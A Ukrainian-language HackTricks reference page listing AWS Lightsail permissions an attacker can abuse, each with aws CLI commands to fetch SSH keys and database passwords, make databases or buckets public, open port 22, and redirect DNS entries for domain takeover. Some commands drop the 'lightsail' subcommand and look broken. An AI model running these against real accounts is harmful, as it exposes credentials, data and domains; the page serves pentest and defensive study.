AWS - Lightsail Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Lightsail

Детальніше про Lightsail дивіться:

AWS - Lightsail Enum

warning

Важливо зауважити, що Lightsail не використовує IAM ролі, що належать користувачу, а натомість використовує обліковий запис, керований AWS, тому ви не можете зловживати цим сервісом для privesc. Однак у цьому сервісі можна знайти чутливі дані, такі як код, API keys та інформацію про бази даних.

lightsail:DownloadDefaultKeyPair

Цей дозвіл дозволить вам отримати SSH keys для доступу до інстансів:

aws lightsail download-default-key-pair

Потенційний вплив: Знайти конфіденційну інформацію всередині інстансів.

lightsail:GetInstanceAccessDetails

Цей дозвіл дозволить вам згенерувати SSH keys для доступу до інстансів:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Потенційний вплив: Знайти конфіденційну інформацію всередині інстансів.

lightsail:CreateBucketAccessKey

Цей дозвіл дозволить отримати ключ для доступу до bucket:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Potential Impact: Знайти чутливу інформацію всередині bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Цей дозвіл дозволяє отримати облікові дані для доступу до бази даних:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Можливий вплив: Знайти конфіденційну інформацію в базі даних.

lightsail:UpdateRelationalDatabase

Цей дозвіл дозволяє змінити пароль для доступу до бази даних:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Якщо база даних не є публічною, ви також можете зробити її публічною за допомогою цих дозволів.

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Потенційний вплив: Знайти чутливу інформацію в базі даних.

lightsail:OpenInstancePublicPorts

Цей дозвіл дозволяє відкривати порти для доступу з Інтернету.

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Потенційний вплив: Доступ до чутливих портів.

lightsail:PutInstancePublicPorts

Цей дозвіл дозволяє відкривати порти в Інтернеті. Зверніть увагу, що виклик закриє будь-який відкритий порт, який у ньому не вказано.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potential Impact: Доступ до чутливих портів.

lightsail:SetResourceAccessForBucket

Цей дозвіл дозволяє надати інстансу доступ до бакету без додаткових облікових даних

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Можливий вплив: Можливий новий доступ до buckets з чутливою інформацією.

lightsail:UpdateBucket

Маючи цей дозвіл, зловмисник може надати власному обліковому запису AWS доступ на читання до buckets або навіть зробити buckets публічними для всіх:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Потенційний вплив: Можливий новий доступ до buckets, що містять чутливу інформацію.

lightsail:UpdateContainerService

Маючи цей дозвіл, зловмисник може надати доступ до приватних ECRs із сервісу контейнерів.

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Можливий вплив: Отримати конфіденційну інформацію з приватного ECR

lightsail:CreateDomainEntry

Зловмисник з цим дозволом може створити піддомен і вказати його на власний IP address (subdomain takeover), або створити SPF record, який дозволить йому підробляти електронні листи з цього домену, або навіть вказати головний домен на свій власний IP address.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Можливий вплив: Takeover a domain

lightsail:UpdateDomainEntry

Зловмисник із цим дозволом може створити subdomain і вказати його на свою IP-адресу (subdomain takeover), або сформувати SPF record, який дозволить йому spoof emails з домену, або навіть перенаправити основний домен на свою IP-адресу.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Потенційний вплив: Захоплення домену

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks